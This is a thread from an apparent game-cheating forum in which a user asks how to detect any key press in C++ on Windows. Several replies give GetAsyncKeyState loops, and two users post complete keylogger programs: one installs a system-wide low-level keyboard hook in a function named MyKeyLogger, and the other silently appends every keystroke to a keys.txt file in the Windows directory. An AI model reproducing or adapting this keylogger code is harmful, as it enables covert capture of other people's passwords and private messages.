Solved HOWTO scan if any key was pressed ?

Hexui Undetected CSGO Cheats Sinkicheat PUBG Cheat

GAFO666

Hacker
Meme Tier VIP
Aug 19, 2012
520
3,188
23
Hey,
does anyone know howto scan if any key got pressed and shows me the button then, because if I want a specific button to be pressed I would write
C++:
if(GetAsyncKeyState(VK_INSERT)&1){//do sth}
But as I said, I want scan for any button, gues there should be a keyboard&mouse-hook, I googled it but only found the key-up/down events of VSC++ and not for eg normal console applis or dll's :X

,greetings GAFO~
 

c5

Kim Kong Trasher
Dank Tier VIP
Dank Tier Donator
Jul 19, 2012
1,187
12,638
76
uhm I continue try to find any hook which solves that prob hmm shouldnt be that complicated >.<
well, you know any hook or way which is not laggy ? :eek:
SetWindowsHook I think was the name of the function from windows API. You can hook the windows callback which handles input
 

c5

Kim Kong Trasher
Dank Tier VIP
Dank Tier Donator
Jul 19, 2012
1,187
12,638
76
Many ways to do that.

You could just loop getasynckeystate with different args if you wanted to, that should be super laggy though, I'd use something else to handle input
 

GAFO666

Hacker
Meme Tier VIP
Aug 19, 2012
520
3,188
23
Many ways to do that.

You could just loop getasynckeystate with different args if you wanted to, that should be super laggy though, I'd use something else to handle input
uhm I continue try to find any hook which solves that prob hmm shouldnt be that complicated >.<
well, you know any hook or way which is not laggy ? :eek:
 

Szaka

Coder
Full Member
Nobleman
Mar 14, 2013
161
718
3
lol

for(int i=0;i<256;i++) if(GetAsyncKeyState(i)) cout<<" Key "<<i<<" has been pressed"<<endl;
 

c5

Kim Kong Trasher
Dank Tier VIP
Dank Tier Donator
Jul 19, 2012
1,187
12,638
76
lol

for(int i=0;i<256;i++) if(GetAsyncKeyState(i)) cout<<" Key "<<i<<" has been pressed"<<endl;
I'd also check if the most significant bit flag was set so it wouldn't return the 'pressed between last call'.
 

Anomxus

Jr.Coder
Full Member
Nobleman
Jun 19, 2012
59
453
2
Many ways to do that.

You could just loop getasynckeystate with different args if you wanted to, that should be super laggy though, I'd use something else to handle input
getAsyncKeyState shouldn't be laggy if you put a bit of a delay on it (like 50L or something) usually you don't have the key pressed for < than 50ms.

EDIT: read it again and saw that you said "any key".
 

bobbyjob123

Newbie
Sep 13, 2013
2
152
0
Ok let be nice

use GetKeyState function with window header

when pressed outputs should -127 or -128 so:

if(GetKeyState("KEY HERE")>-1)
{
return;
}
 

bobbyjob123

Newbie
Sep 13, 2013
2
152
0
for more info

here is with getkeystate and a hook:

C++:
#define _WIN32_WINNT 0x0400
#pragma comment( lib, "user32.lib" )
 
#include <windows.h>
#include <stdio.h>
 
HHOOK hKeyboardHook;
 
__declspec(dllexport) LRESULT CALLBACK KeyboardEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
    if  ((nCode == HC_ACTION) &&       
        ((wParam == WM_SYSKEYDOWN) ||  
        (wParam == WM_KEYDOWN)))      
    {
          BYTE keyState[256] = {0};
          WORD chars;
        KBDLLHOOKSTRUCT* key = (KBDLLHOOKSTRUCT*)lParam;
        GetKeyState(0);
        GetKeyboardState(keyState);
         if(ToAscii(key->vkCode, key->scanCode, keyState, &chars, 0))
            if((char)chars == '\r') putchar('\n');
            else putchar(chars);
    }
    return CallNextHookEx(hKeyboardHook,
        nCode,wParam,lParam);
}
 
void MessageLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}
 
DWORD WINAPI MyKeyLogger(LPVOID lpParm)
{
    HINSTANCE hInstance = GetModuleHandle(NULL);
    if (!hInstance) hInstance = LoadLibrary((LPCSTR) lpParm); 
    if (!hInstance) return 1;
 
    hKeyboardHook = SetWindowsHookEx (  
        WH_KEYBOARD_LL,            
        (HOOKPROC) KeyboardEvent,  
        hInstance,                 
        NULL                       
        );
    MessageLoop();
    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}
 
int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
 
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
        MyKeyLogger, (LPVOID) argv[0], NULL, &dwThread);
    if (hThread)
        return WaitForSingleObject(hThread,INFINITE);
    else return 1;
 
}
and here is with with cycle through all key and stores input (even more advance)

C++:
DWORD FetchKeyCode( )
{
    DWORD i        = 0x00;
    DWORD ret    = 0x00;

    do
    {
        if( GetAsyncKeyState(i)&0x1 )
            ret = i;
        i++;
    }
    while( !ret && i < 0xFF );

    return ret;
}
C++:
char VKtoCHAR(int vk)
{
    static UCHAR keyboardState[256];
    USHORT asciiVal;

    // get layout
    static HKL layout = GetKeyboardLayout(0);

    // get keyboard state (shift etc)
    if( GetKeyboardState(keyboardState) == false )
        return 0;

    // yup get ASCII codezZz :)
    if( ToAsciiEx( vk, MapVirtualKey(vk,0), keyboardState, &asciiVal, 0, layout ) == 0 )
        return 0;

    return static_cast<char>(asciiVal);
}
C++:
int vKey = (int)FetchKeyCode();

char c = VKtoCHAR(vKey);
Please Note I DID NOT WRITE those

bobby
 

NTvalk

Hacker
Meme Tier VIP
Jul 6, 2013
499
3,108
8
This is the traditional way

C++:
#include <stdio.h>
#include <windows.h>
#include <Winuser.h>


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==8)

fprintf(key_file,"%s","[del]");

if (key==13)

fprintf(key_file,"%s","\n");

if (key==32)

fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)

fprintf(key_file,"%s","[END]");

if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)

fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)

fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)

fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

	key = key - 48;
 
	fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

	if (key >=65 && key <=90){ 
 
		if (GetKeyState(VK_CAPITAL))
      
			fprintf(key_file,"%s",&key);
 else

 {

	 key = key +32;

	 fprintf(key_file,"%s",&key);

 }
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

while(1){	

	for(i=8;i<=190;i++){
   
	if (GetAsyncKeyState(i) == -32767)
	
	{
   
      
      keys (i,test);
	  
      

	}
}

}

}
 
Attention! Before you post:

Read the How to Ask Questions Guide
99% of questions are answered in the Beginner's Guide, do it before asking a question.

No Hack Requests. Post in the correct section.  Search the forum first. Read the rules.

How to make a good post:

  • Fill out the form correctly
  • Tell us the game name & coding language
  • Post everything we need to know to help you
  • Ask specific questions, be descriptive
  • Post errors, line numbers & screenshots
  • Post code snippets using code tags
  • If it's a large project, zip it up and attach it

If you do not comply, your post may be deleted.  We want to help, please make a good post and we will do our best to help you.

Community Mods